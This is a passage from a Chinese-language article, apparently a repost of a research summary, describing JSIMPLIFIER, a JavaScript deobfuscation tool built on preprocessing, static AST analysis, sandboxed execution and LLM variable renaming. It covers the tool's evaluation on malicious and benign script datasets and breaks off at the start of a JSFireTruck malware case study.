initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">输入处理的脆弱性：</span></strong><span leaf=""> 现有工具在遇到不同语法、混合编码、打包器包装等”不规范”输入时经常直接崩溃。真实世界的恶意代码往往包含这些问题，导致工具连分析机会都没有。</span><span leaf=""><br/></span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">分析策略的单一性：</span></strong><span leaf=""> 静态分析工具无法处理运行时依赖的混淆（如动态代码生成），动态分析工具又难以应对大规模样本和安全风险。更关键的是，现有工具通常只针对特定混淆模式，缺乏对多层混淆的综合支持。以JSFireTruck恶意软件为例，这个一个月内感染26.9万网页的攻击使用了复杂的多层混淆，现有工具要么无法处理，要么只能部分解码。</span><span leaf=""><br/></span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">输出可读性的缺失：</span></strong><span leaf=""> 即使成功反混淆，输出代码仍充斥着</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">_0x4f2a</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">_0x1b3c</span></code><span leaf="">等这样的无意义标识符，安全分析师需要花费大量时间才能理解代码逻辑，严重影响威胁响应效率。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">三、JSIMPLIFIER的创新设计</span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">针对以上挑战，我们提出了JSIMPLIFIER，一款集代码预处理、静态抽象语法树分析、动态执行跟踪和大语言模型（LLM）智能变量重命名与代码美化于一体的综合性反混淆工具。JSIMPLIFIER采用三阶段流水线架构，每个阶段专门解决一类核心问题，形成了从”输入修复”到”逻辑还原”再到”可读性提升”的完整处理链条。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3074074074074074" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005335" src="https://wechat2rss.xlab.app/img-proxy/?k=b00b26c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lwicEE0wOfBiaTrzryOH47tuK7vBH7yWYGPxAib0MDyXvBiceu2MLiaDSth2REKyEE9J7EOxUVvOyyiciaw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">预处理器：让”坏代码”变”好代码”（Preprocessor）</span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">预处理器是整个系统的基石，负责将各种”问题代码”标准化为可分析的格式。它首先进行代码有效性检查，使用容错性强的Meriyah解析器，即使面对不同灵活语法或不完整的代码也能生成完整的抽象语法树（AST）。接着进行词法清理，系统性地处理字符编码冲突，比如将过时的八进制转义序列（如\302）转换为标准的十六进制格式（如\xC2），并重建被分割的多字节UTF-8字符。在语义兼容化阶段，系统将遗留的JavaScript构造替换为跨平台等价物，确保在现代JavaScript环境中的兼容性。最后通过结构优化，利用AST作用域链遍历解决声明冲突，将代码重构为严格模式兼容的形式。</span></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">反混淆器：静态与动态的完美协作（Deobfuscator）</span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">反混淆器采用混合分析设计，巧妙结合静态AST分析和受控动态执行。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">增强的静态AST分析</span></strong><span leaf=""> 方面，JSIMPLIFIER配备强化表达式求值引擎，专门处理混淆代码中的复杂构造：对于</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">LogicalExpressions</span></code><span leaf="">，实现正确的短路求值处理嵌套的</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">&amp;&amp;</span></code><span leaf="">和</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">||</span></code><span leaf="">链（如</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">False &amp;&amp; anything</span></code><span leaf="">直接返回False）；对于ES6解构赋值如</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">[a, b, c] = [getValue(), obj.prop, func.call(this)]</span></code><span leaf="">，JSIMPLIFIER扩展</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">AssignmentExpression</span></code><span leaf="">处理，解析左侧模式结构并递归遍历嵌套数组模式，将每个元素位置映射到对应的右侧值；对于</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">UnaryExpressions</span></code><span leaf="">中的环境检测代码如</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">typeof window !== &#39;undefined&#39;</span></code><span leaf="">，JSIMPLIFIER维护</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">excludedNames</span></code><span leaf="">白名单（包含</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">window、document、navigator</span></code><span leaf="">等关键全局变量），避免静态求值破坏环境特定的代码路径。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">受控动态执行监控</span></strong><span leaf=""> 方面，JSIMPLIFIER首先进行预执行风险评估，扫描危险关键字组合（</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">push、shift、eval、await</span></code><span leaf="">）识别可能导致无限循环或递归死锁的代码模式，并通过函数依赖映射追踪混淆函数间的调用关系。然后使用Node.js的</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">vm.runInNewContext</span></code><span leaf="">创建隔离执行环境，每个混淆代码段在独立的沙箱VM实例中运行，无法访问文件系统、网络或全局对象，仅暴露必要的内置对象。JSIMPLIFIER实现了全面的安全机制，包括执行超时防止进程挂起、递归深度限制防止无限循环、内存监控防止资源耗尽攻击。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">混合分析协调技术</span></strong><span leaf=""> 通过双向信息流实现两种分析方法的有机融合。在静态到动态的移交中，当静态分析遇到无法安全求值的</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">CallExpression</span></code><span leaf="">时（如函数调用者通过变量查找确定、涉及运行时代码生成的调用、依赖运行时状态的调用），JSIMPLIFIER的</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">canbetransformed</span></code><span leaf="">标记机制识别这些表达式并打包上下文信息传递给动态执行监控。在动态到静态的反馈整合中，动态执行结果经过类型感知处理后重新整合到静态AST：简单数据类型直接转换为字面量AST节点，函数结果解析为</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">FunctionExpression</span></code><span leaf="">节点，复杂对象通过JSON序列化确保安全表示，同时更新作用域链中的变量绑定并触发依赖代码段的重新分析。</span></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">人性化器：从机器码到人类语言（Humanizer）</span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">虽然反混淆器成功恢复了程序逻辑，但结果往往仍然难以阅读。人性化器通过LLM技术将机械正确但晦涩的代码转化为专业、可读的形式。在智能标识符重命名方面，JSIMPLIFIER可以利用多种LLM模型（GPT、Gemini、本地模型等）进行上下文感知的变量和函数重命名，将无意义的混淆标识符替换为语义明确的名称。同时通过专业代码美化，集成Prettier格式化工具，确保输出符合行业标准的代码规范，包括一致的缩进、标准化的括号放置和规范的引号使用，最终生成既功能正确又易于理解的高质量代码。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">四、最大规模验证与突破性成果</span></h2><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">全面的数据集构建</span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">为公正全面地评估工具性能，我们构建了业界最大的真实JavaScript混淆数据集进行验证。MalJS数据集包含23,212个野生恶意样本（平均391.78KB），这些样本来自超过1000万个真实恶意代码中的精选，覆盖所有已知的20种混淆技术。BenignJS数据集包含21,209个良性样本（平均41.40KB），来源于GitHub热门项目和合法网站。这两个数据集提供了真实世界中多样化和多层混淆技术的样本，远超现有数据集仅包含人工生成样本的局限。</span></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">全面的技术覆盖突破</span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">实验评估采用了多个互补维度进行综合测评。在反混淆能力评估中（表II），JSimplifier实现了对全部20种混淆技术的100%处理能力和100%正确率，远超现有工具。与13种现有方法（包括10种传统工具和3种基于LLM的方案）的对比表明，传统工具在面对复杂语义级混淆时表现不足，而即便是先进的LLM方案也难以处理最复杂的混淆方法。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4722222222222222" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005337" src="https://wechat2rss.xlab.app/img-proxy/?k=efdde0ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lwicEE0wOfBiaTrzryOH47tu4ffdcwGnibMrHJYCnzutlcLMJFYRMfOWww7qiaAwbUjWVerxqkgrFVYg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">显著的代码简化效果</span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在代码简化评估中，JSimplifier在多个维度上展现了卓越的性能。首先，工具在CombiBench基准测试上达到了0.8820的Halstead长度减少分数——这一指标衡量代码中操作符和操作数的数量变化，分数越高说明代码复杂度降低更多。JSimplifier实现的88.2%复杂度降低意味着反混淆后的代码比原始混淆代码简单了近9成，显著超越了现有工具。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">此外，研究团队还采用熵值分析来量化代码的随机性和混乱程度。熵值越低，代码的结构越清晰、可读性越强。大规模评估显示，JSimplifier在全部44,421个样本上实现了显著的熵值降低（如图2）——无论是AST结构熵（衡量代码语法树的复杂度）还是代码文本熵（衡量文本层面的混乱度）均达到最低中位值，充分证明了工具在真实场景中的有效性。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5665829145728644" data-type="png" data-w="796" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005334" src="https://wechat2rss.xlab.app/img-proxy/?k=935e1a4d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lwicEE0wOfBiaTrzryOH47tuZrhuZmiaZSBhY8OykwVF82Ao0zoCTR3UzecNTGTntwUPEsCpVTlKGKA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">质的可读性飞跃</span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">为验证代码可读性提升，研究团队采用了多个先进LLM模型（Claude 3.7 Sonnet、Gemini 2.5 Pro、DeepSeek-R1、GPT-o3）进行独立评估。这些模型对代码可读性进行0-10分的打分，其中0分代表完全不可读，10分代表极易理解。评估结果如下表所示，JSimplifier实现了平均466.94%的可读性提升，将难以理解的混淆代码（评分1.02-1.81，接近完全不可读）转化为适合安全分析的清晰代码（评分6.21-7.83，达到良好可读性水平）。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3593350383631714" data-type="png" data-w="782" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005339" src="https://wechat2rss.xlab.app/img-proxy/?k=0eeab3a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lwicEE0wOfBiaTrzryOH47tunfB6I5BjEWN0TOgJdS7Yhpx6AEzia43NocNysoo9DzQ4XJ4gw8denibA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">此外，研究团队还进行了用户研究，邀请9名不同专业水平的参与者（新手、中级、专家各3名）分析混淆样本。结果表明JSimplifier显著提升了分析准确率（新手提升12.7%）并大幅减少了分析时间（中级用户减少47.7%），主观评分在可读性、清晰度和逻辑性方面均显著提高。用户研究显示，工具显著提升了分析准确率（新手提升12.7%）并大幅减少了分析时间（中级用户减少47.7%）。一位中级参与者评价道：”变量重命名让我能够快速跟踪逻辑流程，我可以在几分钟内识别出可疑的网络调用，而不是在整个分析过程中大海捞针。”</span></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">实战验证：破解JSFireTruck的”密码”</span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">JSFireTruck恶意软件活动是JSIMPLIFIER实战能力的最佳证明。这个复杂的攻击活动仅使用六个ASCII字符!+就构建了极其复杂的混淆代码，传统工具几乎束手无策。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">原始混淆代码（部分）：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.37222222222222223" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: 